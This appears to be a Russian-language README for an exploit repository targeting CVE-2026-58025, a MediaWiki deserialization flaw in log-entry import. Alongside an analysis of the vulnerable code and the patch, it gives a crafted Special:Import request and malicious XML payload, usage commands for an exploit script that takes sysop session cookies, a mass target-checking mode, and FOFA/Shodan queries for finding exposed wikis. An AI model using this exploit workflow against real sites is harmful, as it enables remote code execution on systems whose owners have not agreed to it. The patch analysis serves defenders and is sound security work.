
CVE-2026-58025 — MediaWiki Deserialization RCE via Log Entry Import. LogEntryBase::extractParams() unserialize() user-controlled log_params. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0
CVE-2026-58025 — критическая (CVSS 9.8) уязвимость десериализации недоверенных данных в MediaWiki (Фонд Викимедиа). Метод LogEntryBase::extractParams() вызывал unserialize() для управляемых пользователем параметров журнальной записи без ограничения на инстанцируемые классы PHP. Злоумышленник с правом или (по умолчанию: группа ) мог сформировать вредоносный XML-файл импорта, содержащий сериализованные PHP-объекты в полях , что приводило к произвольному инстанцированию объектов и потенциальному удалённому выполнению кода через gadget-цепочки.
importuploadimportsysop<params>| Ветка версии | Уязвимые | Исправленные |
|---|---|---|
| 1.43.x | < 1.43.9 | 1.43.9 |
| 1.44.x | < 1.44.6 | 1.44.6 |
| 1.45.x | < 1.45.4 | 1.45.4 |
| 1.46.x | < 1.46.0 | 1.46.0 |
Требования: право
importилиimportupload(по умолчанию: группаsysop). Злоумышленник должен иметь возможность загрузить или импортировать XML-файл в Special:Import в MediaWiki.
LogEntryBase::extractParams() в includes/Logging/LogEntryBase.php вызывал unserialize() напрямую для блоба log_params без каких-либо ограничений на классы:
// includes/Logging/LogEntryBase.php (ДО исправления)
public static function extractParams( $blob ) {
return unserialize( $blob ); // ← управляется пользователем, нет ограничения allowed_classes
}
Этот метод вызывается из нескольких мест:
| Файл | Строка | Контекст |
|---|---|---|
includes/Logging/DatabaseLogEntry.php | 187 | getParameters() — чтение журнальных записей из БД |
includes/RecentChanges/RecentChange.php | 781 | parseParams() — разбор свежих правок |
includes/Import/WikiRevision.php | 638 | importLogItem() — импорт журнальных записей из XML |
maintenance/purgeChangedFiles.php | 182 | Разбор журналов в служебном скрипте |
tests/phpunit/maintenance/DumpAsserter.php | 541 | Тестовый помощник |
Основной вектор атаки — XML-импорт через Special:Import:
import/importupload) формирует вредоносный XML-файл экспорта MediaWiki<logitem> с полем <params>, содержащим PHP-сериализованную нагрузкуWikiImporter::processLogItem() → WikiRevision::importLogItem() сохраняет журнальную записьDatabaseLogEntry::getParameters(), RecentChange::parseParams() или отображение журнала) LogEntryBase::extractParams() вызывает unserialize() для управляемого злоумышленником блобаPOST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=<malicious.xml>
source=file
catname=
prefix=
loginComment=
malicious.xml:
<mediawiki ...>
<logitem>
<type>test</type>
<action>test</action>
<params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
</logitem>
</mediawiki>
→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → сохранение в БД
→ Позднее: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP инстанцирует объект GadgetClass → gadget-цепочка __wakeup() / __destruct()
→ RCE от имени www-data
Поле <params> в XML-импорте принимает стандартные PHP-сериализованные строки. Безопасная (безвредная) запись:
a:1:{s:3:"foo";s:3:"bar";}
Вредоносная запись, содержащая сериализованный объект:
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
При вызове unserialize() без ограничения allowed_classes объект полностью инстанцируется. При наличии доступной gadget-цепочки (например, из библиотек, установленных через Composer) это превращается в RCE.
Коммит: 60f154d4618063ac4d5832285fc246b8fcd7c72c
Автор: Bartosz Dziewoński
Дата: 2026-06-29
Исправление реализует несколько уровней защиты:
unserialize() с allowed_classes// includes/Logging/LogEntryBase.php (ПОСЛЕ исправления)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // классы не разрешены
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
containsUnsafeParams()Обнаруживает экземпляры __PHP_Incomplete_Class (объекты, заблокированные параметром allowed_classes):
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
WikiImporter::processLogItem()Новая проверка права logentryimport (по умолчанию не выдаётся никому):
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
WikiRevision::importLogItem() — отклонение небезопасных параметровif ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
UnsafeLogFormatter — безопасное отображение уже существующих вредоносных записейНовый класс UnsafeLogFormatter заменяет обычный форматтер для записей, содержащих заблокированные объекты, выводя вместо попытки форматирования опасных данных сообщение-заглушку.
То же исследование (T422244) также выявило, что тип параметра raw в LogFormatter допускал вывод необработанного HTML из управляемых пользователем параметров журнала. Это было исправлено в сопутствующем коммите заменой Message::rawParam() на Message::plaintextParam().
Прилагаемый exploit.py генерирует вредоносный XML-файл импорта MediaWiki, содержащий сериализованные PHP-объекты в параметрах журнальных записей. Он также может снимать отпечаток (fingerprinting) экземпляров MediaWiki и выполнять попытку импорта через API.
# Сгенерировать вредоносную XML-нагрузку
python exploit.py --generate --output payload.xml
# Снять отпечаток цели
python exploit.py -u https://target.com --check
# Полноценная эксплуатация (требуются действительные session-куки пользователя sysop)
python exploit.py -u https://target.com -c "session_cookies_here"
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
# Сгенерировать вредоносный XML-файл импорта
python exploit.py --generate --output payload.xml
# Снять отпечаток версии MediaWiki
python exploit.py -u https://target.com --check
# Загрузить вредоносный XML через Special:Import (требуется сессия sysop)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# Массовая проверка
python exploit.py -f targets.txt --check -o results.txt
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
SECURITY: Safely unserialize log entry parametersLogFormatter: 'raw' parameter format is no longer raw HTMLЭтот эксплойт предоставлен только для образовательных целей и санкционированных исследований безопасности. Не используйте его против систем без явного разрешения владельца.